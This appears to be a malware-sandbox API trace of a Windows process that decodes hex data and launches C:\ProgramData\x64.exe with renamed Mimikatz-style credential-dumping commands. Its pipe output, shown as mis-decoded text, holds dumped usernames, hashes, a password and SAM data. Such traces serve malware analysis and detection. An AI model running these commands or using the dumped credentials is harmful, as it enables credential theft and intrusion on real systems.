[0191.149] VarParseNumFromStr (in: strIn="&HB2", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.149] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.150] VarParseNumFromStr (in: strIn="&H3D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.150] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.150] VarParseNumFromStr (in: strIn="&HC8", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.150] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.150] VarParseNumFromStr (in: strIn="&H2D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.150] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.150] VarParseNumFromStr (in: strIn="&HAB", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.151] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.151] VarParseNumFromStr (in: strIn="&HA0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.151] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.151] VarParseNumFromStr (in: strIn="&H54", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.151] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.151] VarParseNumFromStr (in: strIn="&H2D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.151] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.152] VarParseNumFromStr (in: strIn="&HCF", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.152] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.152] VarParseNumFromStr (in: strIn="&H4E", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.152] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.152] VarParseNumFromStr (in: strIn="&H9F", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.152] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.153] VarParseNumFromStr (in: strIn="&H2D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.153] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.153] VarParseNumFromStr (in: strIn="&HAD", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.153] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.153] VarParseNumFromStr (in: strIn="&HA0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.153] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.154] VarParseNumFromStr (in: strIn="&H54", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.154] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.154] VarParseNumFromStr (in: strIn="&H2D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.154] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.154] VarParseNumFromStr (in: strIn="&H32", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.154] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.155] VarParseNumFromStr (in: strIn="&H4B", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.155] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.155] VarParseNumFromStr (in: strIn="&H9F", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.155] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.155] VarParseNumFromStr (in: strIn="&H2D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.155] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.156] VarParseNumFromStr (in: strIn="&HAB", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.156] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.156] VarParseNumFromStr (in: strIn="&HA0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.156] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.156] VarParseNumFromStr (in: strIn="&H54", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.156] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.157] VarParseNumFromStr (in: strIn="&H2D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.157] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.157] VarParseNumFromStr (in: strIn="&HA0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.157] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.587] IMalloc:Free (This=0x767666bc, pv=0x53a73a0) [0191.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\x64.exe", cchWideChar=-1, lpMultiByteStr=0x18e624, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\x64.exe", lpUsedDefaultChar=0x0) returned 23 [0191.590] GetFullPathNameA (in: lpFileName="C:\\ProgramData\\x64.exe", nBufferLength=0x104, lpBuffer=0x18e860, lpFilePart=0x18e61c | out: lpBuffer="C:\\ProgramData\\x64.exe", lpFilePart=0x18e61c*="x64.exe") returned 0x16 [0191.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\x64.exe", cchWideChar=-1, lpMultiByteStr=0x18eaac, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\x64.exe", lpUsedDefaultChar=0x0) returned 23 [0191.590] FindFirstFileA (in: lpFileName="C:\\ProgramData\\x64.exe", lpFindFileData=0x18e5fc | out: lpFindFileData=0x18e5fc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2b317190, ftCreationTime.dwHighDateTime=0x1d6080d, ftLastAccessTime.dwLowDateTime=0x2b317190, ftLastAccessTime.dwHighDateTime=0x1d6080d, ftLastWriteTime.dwLowDateTime=0x2b898470, ftLastWriteTime.dwHighDateTime=0x1d6080d, nFileSizeHigh=0x0, nFileSizeLow=0x6a2ae, dwReserved0=0x1417658, dwReserved1=0x0, cFileName="x64.exe", cAlternateFileName="")) returned 0x143d108 [0191.591] FileTimeToLocalFileTime (in: lpFileTime=0x18e600, lpLocalFileTime=0x18e5d0 | out: lpLocalFileTime=0x18e5d0) returned 1 [0191.591] FileTimeToSystemTime (in: lpFileTime=0x18e5d0, lpSystemTime=0x18e5d8 | out: lpSystemTime=0x18e5d8) returned 1 [0191.591] FileTimeToLocalFileTime (in: lpFileTime=0x18e608, lpLocalFileTime=0x18e5d0 | out: lpLocalFileTime=0x18e5d0) returned 1 [0191.591] FileTimeToSystemTime (in: lpFileTime=0x18e5d0, lpSystemTime=0x18e5d8 | out: lpSystemTime=0x18e5d8) returned 1 [0191.591] FileTimeToLocalFileTime (in: lpFileTime=0x18e610, lpLocalFileTime=0x18e5d0 | out: lpLocalFileTime=0x18e5d0) returned 1 [0191.591] FileTimeToSystemTime (in: lpFileTime=0x18e5d0, lpSystemTime=0x18e5d8 | out: lpSystemTime=0x18e5d8) returned 1 [0191.591] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e988, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0191.591] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e988, cbMultiByte=-1, lpWideCharStr=0x14f5634, cchWideChar=8 | out: lpWideCharStr="x64.exe") returned 8 [0191.591] VarBstrCmp (bstrLeft="x64.exe", bstrRight="", lcid=0x0, dwFlags=0x30001) returned 0x2 [0191.591] CreatePipe (in: hReadPipe=0x18ebac, hWritePipe=0x18eb5c, lpPipeAttributes=0x18eb50, nSize=0x0 | out: hReadPipe=0x18ebac*=0x76c, hWritePipe=0x18eb5c*=0x720) returned 1 [0191.592] GetLastError () returned 0x0 [0191.592] SysStringLen (param_1="C:\\ProgramData\\x64.exe go::inc get::pwz token::getsys read::samz exit") returned 0x45 [0191.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\x64.exe go::inc get::pwz token::getsys read::samz exit", cchWideChar=69, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 69 [0191.592] SysStringLen (param_1="C:\\ProgramData\\x64.exe go::inc get::pwz token::getsys read::samz exit") returned 0x45 [0191.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\x64.exe go::inc get::pwz token::getsys read::samz exit", cchWideChar=70, lpMultiByteStr=0x1445ffc, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\x64.exe go::inc get::pwz token::getsys read::samz exit", lpUsedDefaultChar=0x0) returned 70 [0191.592] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="C:\\ProgramData\\x64.exe go::inc get::pwz token::getsys read::samz exit", lpProcessAttributes=0x18eb50, lpThreadAttributes=0x18eb50, bInheritHandles=1, dwCreationFlags=0x20, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18eb64*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x720, hStdError=0x0), lpProcessInformation=0x18eb38 | out: lpCommandLine="C:\\ProgramData\\x64.exe go::inc get::pwz token::getsys read::samz exit", lpProcessInformation=0x18eb38*(hProcess=0x784, hThread=0x2e0, dwProcessId=0xb00, dwThreadId=0x614)) returned 1 [0191.668] GetLastError () returned 0x0 [0191.668] SysStringByteLen (bstr="㩃停潲牧浡慄慴硜㐶攮數朠㩯椺据朠瑥㨺睰⁺潴敫㩮机瑥祳⁳敲摡㨺慳穭攠楸t") returned 0x45 [0191.668] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=69, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 69 [0191.668] SysStringByteLen (bstr="㩃停潲牧浡慄慴硜㐶攮數朠㩯椺据朠瑥㨺睰⁺潴敫㩮机瑥祳⁳敲摡㨺慳穭攠楸t") returned 0x45 [0191.669] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=70, lpWideCharStr=0x1446d5c, cchWideChar=139 | out: lpWideCharStr="C:\\ProgramData\\x64.exe go::inc get::pwz token::getsys read::samz exit") returned 70 [0191.669] WaitForSingleObject (hHandle=0x784, dwMilliseconds=0x1d4c0) returned 0x0 [0199.025] GetLastError () returned 0x0 [0199.025] GetNamedPipeInfo (in: hNamedPipe=0x76c, lpFlags=0x18eb00, lpOutBufferSize=0x18ebb0, lpInBufferSize=0x18ebb8, lpMaxInstances=0x18eba8 | out: lpFlags=0x18eb00, lpOutBufferSize=0x18ebb0, lpInBufferSize=0x18ebb8, lpMaxInstances=0x18eba8) returned 1 [0199.025] GetLastError () returned 0x0 [0199.026] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eaae, cbMultiByte=1, lpWideCharStr=0x18ea9c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0199.026] SysStringLen (param_1="") returned 0x1000 [0199.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=4096, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4096 [0199.026] SysStringLen (param_1="") returned 0x1000 [0199.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=4097, lpMultiByteStr=0x53b6a84, cbMultiByte=4097, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 4097 [0199.026] ReadFile (in: hFile=0x76c, lpBuffer=0x53b6a84, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18eb48, lpOverlapped=0x0 | out: lpBuffer=0x53b6a84*, lpNumberOfBytesRead=0x18eb48*=0xa04, lpOverlapped=0x0) returned 1 [0199.028] GetLastError () returned 0x0 [0199.028] SysStringByteLen (bstr="਍業業慫穴挨浯慭摮楬敮
‣潧㨺湩ൣ倊楲楶敬敧✠〲‧䭏਍਍業業慫穴挨浯慭摮楬敮
‣敧㩴瀺穷਍洉癳㨠ഉऊ嬠〰〰〰㌰⁝牐浩牡൹ऊ⨠唠敳湲浡⁥›瀵丵䝲湊樰⁓䅈偌捭穸਍ ‪潄慭湩†㨠堠啄呗但低਍ ‪䵌†††㨠㌠攰〹㡣摥㐶㔳摦㠴ㄴ攲㌸戹晣㑥㑤ലऊ⨠丠䱔⁍††›昷〰㐱慤昸敥ㄵㄲ㠵敦搰ㄱ攱ㄴち摡਍琉灳杫㨠ഉऊ⨠唠敳湲浡⁥›瀵丵䝲湊樰⁓䅈偌捭穸਍ ‪潄慭湩†㨠堠啄呗但低਍ ‪慐獳潷摲㨠㘠湭㝈摃䭋਍眉楤敧瑳㨠ഉऊ⨠唠敳湲浡⁥›瀵丵䝲湊樰⁓䅈偌捭穸਍ ‪潄慭湩†㨠堠啄呗但低਍ ‪慐獳潷摲㨠㘠湭㝈摃䭋਍欉牥敢潲⁳ऺ਍ ‪獕牥慮敭㨠㔠㕰牎䩇の卪䠠䱁浐硣ൺऊ⨠䐠浯楡†›䑘坕䙔乏൏ऊ⨠倠獡睳牯⁤›洶䡮䌷䭤ോऊ獳⁰ऺ਍按敲浤湡㨠ഉऊ獭⁶ऺ਍ せ〰〰〰崳倠楲慭祲਍ ‪獕牥慮敭㨠㔠㕰牎䩇の卪䠠䱁浐硣ൺऊ⨠䐠浯楡†›䑘坕䙔乏൏ऊ⨠䰠⁍†††›〳㥥挰攸㙤㌴昵㑤㐸㈱㡥㤳换敦搴㈴਍ ‪呎䵌††㨠㜠て㄰搴㡡敦㕥㈱㔱昸づㅤㄱ㑥愱愰൤ऊ獴歰⁧ऺ਍ ‪獕牥慮敭㨠㔠㕰牎䩇の卪䠠䱁浐硣ൺऊ⨠䐠浯楡†›䑘坕䙔乏൏ऊ⨠倠獡睳牯⁤›洶䡮䌷䭤ോऊ摷杩獥⁴ऺ਍ ‪獕牥慮敭㨠㔠㕰牎䩇の卪䠠䱁浐硣ൺऊ⨠䐠浯楡†›䑘坕䙔乏൏ऊ⨠倠獡睳牯⁤›洶䡮䌷䭤ോऊ敫扲牥獯㨠ഉऊ⨠唠敳湲浡⁥›瀵丵䝲湊樰⁓䅈偌捭穸਍ ‪潄慭湩†㨠堠啄呗但低਍ ‪慐獳潷摲㨠㘠湭㝈摃䭋਍猉灳㨠ഉऊ牣摥慭ऺ਍洉癳㨠ഉऊ獴歰⁧ऺ਍眉楤敧瑳㨠ഉऊ⨠唠敳湲浡⁥›渨汵⥬਍ ‪潄慭湩†㨠⠠畮汬ഩऊ⨠倠獡睳牯⁤›渨汵⥬਍欉牥敢潲⁳ऺ਍ ‪獕牥慮敭㨠⠠畮汬ഩऊ⨠䐠浯楡†›渨汵⥬਍ ‪慐獳潷摲㨠⠠畮汬ഩऊ獳⁰ऺ਍按敲浤湡㨠ഉऊ獭⁶ऺ਍琉灳杫㨠ഉऊ摷杩獥⁴ऺ਍ ‪獕牥慮敭㨠堠啄呗但低തऊ⨠䐠浯楡†›佗䭒則問൐ऊ⨠倠獡睳牯⁤›渨汵⥬਍欉牥敢潲⁳ऺ਍ ‪獕牥慮敭㨠砠畤瑷潦潮തऊ⨠䐠浯楡†›佗䭒則問൐ऊ⨠倠獡睳牯⁤›渨汵⥬਍猉灳㨠ഉऊ牣摥慭ऺ਍洉癳㨠ഉऊ獴歰⁧ऺ਍眉楤敧瑳㨠ഉऊ敫扲牥獯㨠ഉऊ獳⁰ऺ਍按敲浤湡㨠ഉऊ獭⁶ऺ਍琉灳杫㨠ഉऊ摷杩獥⁴ऺ਍ ‪獕牥慮敭㨠堠啄呗但低തऊ⨠䐠浯楡†›佗䭒則問൐ऊ⨠倠獡睳牯⁤›渨汵⥬਍欉牥敢潲⁳ऺ਍ ‪獕牥慮敭㨠砠畤瑷潦潮തऊ⨠䐠浯楡†›佗䭒則問൐ऊ⨠倠獡睳牯⁤›渨汵⥬਍猉灳㨠ഉऊ牣摥慭ऺ਍਍業業慫穴挨浯慭摮楬敮
‣潴敫㩮机瑥祳൳ഊ笊㬰〰〰㌰㝥⁽‰⁄㌱㔳‸††三⁔啁䡔剏呉屙奓呓䵅匉ㄭ㔭ㄭस〨朴㌬瀰ऩ牐浩牡൹笊㬰〰〰扥〸⁽‱⁆㘴㌰ㄸ††堉啄呗但低㕜㕰牎䩇の卪䠠䱁浐硣ॺⵓⴱⴵㄲ㌭㠳㘸㤷㜹ⴳ㤳〳㔷㈷㔲㌭㜷㄰ㄵ㘵ⴴ〱〰⠉㈱Ⱨ㌲⥰倉楲慭祲਍਍業業慫穴挨浯慭摮楬敮
‣敲摡㨺慳穭਍潄慭湩㨠堠啄呗但低਍祓䭳祥㨠㘠づ搲扡㥡㜷攸挲昱戳敤㘲〴搴戰㤱൥䰊捯污匠䑉㨠匠ㄭ㔭㈭ⴱ㌳㠸㜶㤹㌷㌭㌹㜰㜵㈲ⴵ㜳〷㔱㔱㐶਍਍䅓䭍祥㨠㈠〹㉤㌶㠳ㄸ㘱㜵㉥㡤㙦㡤㍦㍥捥㤹റഊ刊䑉†›〰〰㄰㑦⠠〵⤰਍獕牥㨠䄠浤湩獩牴瑡牯਍†慈桳丠䱔㩍㌠搱挶敦搰㘱敡㌹戱㌷㕣搹攷挰㠰挹രഊ刊䑉†›〰〰㄰㕦⠠〵⤱਍獕牥㨠䜠敵瑳਍਍䥒⁄㨠〠〰〰攳‸ㄨ〰⤰਍獕牥㨠㔠㕰牎䩇の卪䠠䱁浐硣ൺ 䠠獡⁨呎䵌›昷〰㐱慤昸敥ㄵㄲ㠵敦搰ㄱ攱ㄴち摡਍਍業業慫穴挨浯慭摮楬敮
‣硥瑩਍祂Ⅵ਍") returned 0x1000 [0199.028] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x53b6a84, cbMultiByte=4096, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4096 [0199.028] SysStringByteLen (bstr="਍業業慫穴挨浯慭摮楬敮
‣潧㨺湩ൣ倊楲楶敬敧✠〲‧䭏਍਍業業慫穴挨浯慭摮楬敮
‣敧㩴瀺穷਍洉癳㨠ഉऊ嬠〰〰〰㌰⁝牐浩牡൹ऊ⨠唠敳湲浡⁥›瀵丵䝲湊樰⁓䅈偌捭穸਍ ‪潄慭湩†㨠堠啄呗但低਍ ‪䵌†††㨠㌠攰〹㡣摥㐶㔳摦㠴ㄴ攲㌸戹晣㑥㑤ലऊ⨠丠䱔⁍††›昷〰㐱慤昸敥ㄵㄲ㠵敦搰ㄱ攱ㄴち摡਍琉灳杫㨠ഉऊ⨠唠敳湲浡⁥›瀵丵䝲湊樰⁓䅈偌捭穸਍ ‪潄慭湩†㨠堠啄呗但低਍ ‪慐獳潷摲㨠㘠湭㝈摃䭋਍眉楤敧瑳㨠ഉऊ⨠唠敳湲浡⁥›瀵丵䝲湊樰⁓䅈偌捭穸਍ ‪潄慭湩†㨠堠啄呗但低਍ ‪慐獳潷摲㨠㘠湭㝈摃䭋਍欉牥敢潲⁳ऺ਍ ‪獕牥慮敭㨠㔠㕰牎䩇の卪䠠䱁浐硣ൺऊ⨠䐠浯楡†›䑘坕䙔乏൏ऊ⨠倠獡睳牯⁤›洶䡮䌷䭤ോऊ獳⁰ऺ਍按敲浤湡㨠ഉऊ獭⁶ऺ਍ せ〰〰〰崳倠楲慭祲਍ ‪獕牥慮敭㨠㔠㕰牎䩇の卪䠠䱁浐硣ൺऊ⨠䐠浯楡†›䑘坕䙔乏൏ऊ⨠䰠⁍†††›〳㥥挰攸㙤㌴昵㑤㐸㈱㡥㤳换敦搴㈴਍ ‪呎䵌††㨠㜠て㄰搴㡡敦㕥㈱㔱昸づㅤㄱ㑥愱愰൤ऊ獴歰⁧ऺ਍ ‪獕牥慮敭㨠㔠㕰牎䩇の卪䠠䱁浐硣ൺऊ⨠䐠浯楡†›䑘坕䙔乏൏ऊ⨠倠獡睳牯⁤›洶䡮䌷䭤ോऊ摷杩獥⁴ऺ਍ ‪獕牥慮敭㨠㔠㕰牎䩇の卪䠠䱁浐硣ൺऊ⨠䐠浯楡†›䑘坕䙔乏൏ऊ⨠倠獡睳牯⁤›洶䡮䌷䭤ോऊ敫扲牥獯㨠ഉऊ⨠唠敳湲浡⁥›瀵丵䝲湊樰⁓䅈偌捭穸਍ ‪潄慭湩†㨠堠啄呗但低਍ ‪慐獳潷摲㨠㘠湭㝈摃䭋਍猉灳㨠ഉऊ牣摥慭ऺ਍洉癳㨠ഉऊ獴歰⁧ऺ਍眉楤敧瑳㨠ഉऊ⨠唠敳湲浡⁥›渨汵⥬਍ ‪潄慭湩†㨠⠠畮汬ഩऊ⨠倠獡睳牯⁤›渨汵⥬਍欉牥敢潲⁳ऺ਍ ‪獕牥慮敭㨠⠠畮汬ഩऊ⨠䐠浯楡†›渨汵⥬਍ ‪慐獳潷摲㨠⠠畮汬ഩऊ獳⁰ऺ਍按敲浤湡㨠ഉऊ獭⁶ऺ਍琉灳杫㨠ഉऊ摷杩獥⁴ऺ਍ ‪獕牥慮敭㨠堠啄呗但低തऊ⨠䐠浯楡†›佗䭒則問൐ऊ⨠倠獡睳牯⁤›渨汵⥬਍欉牥敢潲⁳ऺ਍ ‪獕牥慮敭㨠砠畤瑷潦潮തऊ⨠䐠浯楡†›佗䭒則問൐ऊ⨠倠獡睳牯⁤›渨汵⥬਍猉灳㨠ഉऊ牣摥慭ऺ਍洉癳㨠ഉऊ獴歰⁧ऺ਍眉楤敧瑳㨠ഉऊ敫扲牥獯㨠ഉऊ獳⁰ऺ਍按敲浤湡㨠ഉऊ獭⁶ऺ਍琉灳杫㨠ഉऊ摷杩獥⁴ऺ਍ ‪獕牥慮敭㨠堠啄呗但低തऊ⨠䐠浯楡†›佗䭒則問൐ऊ⨠倠獡睳牯⁤›渨汵⥬਍欉牥敢潲⁳ऺ਍ ‪獕牥慮敭㨠砠畤瑷潦潮തऊ⨠䐠浯楡†›佗䭒則問൐ऊ⨠倠獡睳牯⁤›渨汵⥬਍猉灳㨠ഉऊ牣摥慭ऺ਍਍業業慫穴挨浯慭摮楬敮
‣潴敫㩮机瑥祳൳ഊ笊㬰〰〰㌰㝥⁽‰⁄㌱㔳‸††三⁔啁䡔剏呉屙奓呓䵅匉ㄭ㔭ㄭस〨朴㌬瀰ऩ牐浩牡൹笊㬰〰〰扥〸⁽‱⁆㘴㌰ㄸ††堉啄呗但低㕜㕰牎䩇の卪䠠䱁浐硣ॺⵓⴱⴵㄲ㌭㠳㘸㤷㜹ⴳ㤳〳㔷㈷㔲㌭㜷㄰ㄵ㘵ⴴ〱〰⠉㈱Ⱨ㌲⥰倉楲慭祲਍਍業業慫穴挨浯慭摮楬敮
